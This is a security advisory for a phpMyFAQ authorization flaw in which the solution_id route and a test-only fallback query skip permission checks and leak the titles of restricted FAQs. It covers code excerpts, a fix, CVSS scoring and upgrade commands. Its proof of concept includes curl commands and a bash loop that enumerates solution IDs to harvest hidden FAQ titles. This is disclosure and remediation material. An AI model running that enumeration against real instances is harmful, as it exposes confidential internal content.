GHSA-99qv-g4x9-mgc3 CVE-2026-46366
phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query
- Severity
- 8.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 27.20% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
The public /solution_id_{id}.html route calls Faq::getIdFromSolutionId() in phpmyfaq/src/phpMyFAQ/Faq.php:1312. That query joins faqdata with faqcategoryrelations solely by solution_id and returns the matching FAQ's id, lang, thema (title), and category_id with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to /content/<category>/<id>/<lang>/<title-slug>.html, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's Location header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related getFaqBySolutionId() at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.
Details
The sink: getIdFromSolutionId() has no permission filter
phpmyfaq/src/phpMyFAQ/Faq.php:1312:
public function getIdFromSolutionId(int $solutionId): array
{
$query = sprintf(
'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
FROM %sfaqdata fd
LEFT JOIN %sfaqcategoryrelations fcr
ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
WHERE fd.solution_id = %d',
Database::getTablePrefix(),
Database::getTablePrefix(),
$solutionId,
);
// ...
}
No WHERE-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172 uses this result to compute a slugified URL and 301-redirects to it:
#[Route(path: '/solution_id_{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])]
public function solution(Request $request): Response
{
$solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTER_VALIDATE_INT, 0);
// ...
$faqData = $this->faq->getIdFromSolutionId($solutionId);
if ($faqData === []) {
return new Response('', Response::HTTP_NOT_FOUND);
}
$slug = TitleSlugifier::slug($faqData['question']);
$url = sprintf('/content/%d/%d/%s/%s.html',
$faqData['category_id'], $faqData['id'], $faqData['lang'], $slug);
return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);
}
The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical /content/<...>.html page may deny rendering the body.
Related sink: getFaqBySolutionId() explicitly falls back without the filter
phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265:
if (false === $row || null === $row) {
// Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)
$fallbackQuery = sprintf(
'SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1',
Database::getTablePrefix(),
$solutionId,
);
$fallbackResult = $this->configuration->getDb()->query($fallbackQuery);
$row = $this->configuration->getDb()->fetchObject($fallbackResult);
}
The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of faqRecord, including content, keywords, author, email, and notes. Downstream consumers that expect faqRecord to respect ACLs no longer do.
Entry enumeration
Solution IDs are monotonically increasing integers (faqdata.solution_id). An attacker enumerates /solution_id_<n>.html from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.
Proof of Concept
Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via faqdata_user / faqdata_group. Note its solution_id, which is assigned sequentially starting from a six-digit base.
Step 1. Anonymous GET of the solution URL:
curl -sS -L -o /tmp/out.html -w 'HTTP %{http_code}\n' \
'http://<host>/solution_id_<restricted-solution-id>.html'
Step 2. Observe the 301 redirect that getIdFromSolutionId() returns. The Location header carries the slugified title of the restricted FAQ directly in the URL path:
HTTP/1.1 301 Moved Permanently
Location: /content/<category-id>/<record-id>/<lang>/<title-slug>.html
Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:
<link rel="canonical" href="http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html">
<input type="hidden" name="voting-id" value="<record-id>">
<a href="http://<host>/pdf/<category-id>/<record-id>/<lang>">...</a>
Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:
for id in $(seq 1 100000); do
code=$(curl -sS -o /dev/null -w '%{http_code}' "http://<host>/solution_id_${id}.html")
if [ "$code" = "301" ]; then
loc=$(curl -sSI "http://<host>/solution_id_${id}.html" | awk -F': ' '/^Location:/{print $2}' | tr -d '\r')
echo "solution_id=${id} -> ${loc}"
fi
done
Each 301 response's Location header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.
Impact
Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example q3-layoff-plan, aws-root-key-rotation), so the title alone can be sensitive.
The body content is usually still served through a separate permission-enforcing path on the canonical /content/<...>.html URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (Medium, 5.3). CWE-863.
Recommended Fix
Add a permission filter to getIdFromSolutionId() the same way getFaqBySolutionId() builds one for its primary query (using QueryHelper::queryPermission()):
public function getIdFromSolutionId(int $solutionId): array
{
$queryHelper = new QueryHelper($this->user, $this->groups);
$query = sprintf(
'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
FROM %sfaqdata fd
LEFT JOIN %sfaqcategoryrelations fcr
ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
LEFT JOIN (
SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id <> -1
UNION ALL
SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d
) AS fdg ON fd.id = fdg.record_id
LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id
WHERE fd.solution_id = %d %s',
Database::getTablePrefix(),
Database::getTablePrefix(),
Database::getTablePrefix(),
Database::getTablePrefix(),
$solutionId,
Database::getTablePrefix(),
$solutionId,
$queryHelper->queryPermission($this->groupSupport),
);
// ...
}
Separately, remove the unconditional fallback in getFaqBySolutionId() at Faq.php:1256-1265. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave faqRecord empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.
Found by aisafe.io
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| phpmyfaq/phpmyfaq | < 4.1.2 |
4.1.2 |
| thorsten/phpmyfaq | < 4.1.2 |
4.1.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
phpmyfaq/phpmyfaq Packagist → 4.1.2
- composer
composer require phpmyfaq/phpmyfaq:^4.1.2
thorsten/phpmyfaq Packagist → 4.1.2
- composer
composer require thorsten/phpmyfaq:^4.1.2
Severity breakdown
CVSS 4.0 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rw77-vq4g-x3hp phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-8gpw-xvpf-hvx5 phpMyFAQ's two-factor authentication login bypasses the password factor | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-pgwp-vc7q-cvj3 phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-6pvm-2vjj-rx4w phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration | Medium | Also affects thorsten/phpmyfaq |
| GHSA-mf8r-wm2w-f8c5 phpMyFAQ public FAQ APIs expose inactive FAQ content | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-88g4-74f3-63x9 phpMyFAQ has Potential Authenticated Path Traversal in PDF Export | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-pg62-f8g4-4wqh phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-985r-q3qp-299h phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards | High | Also affects phpmyfaq/phpmyfaq |
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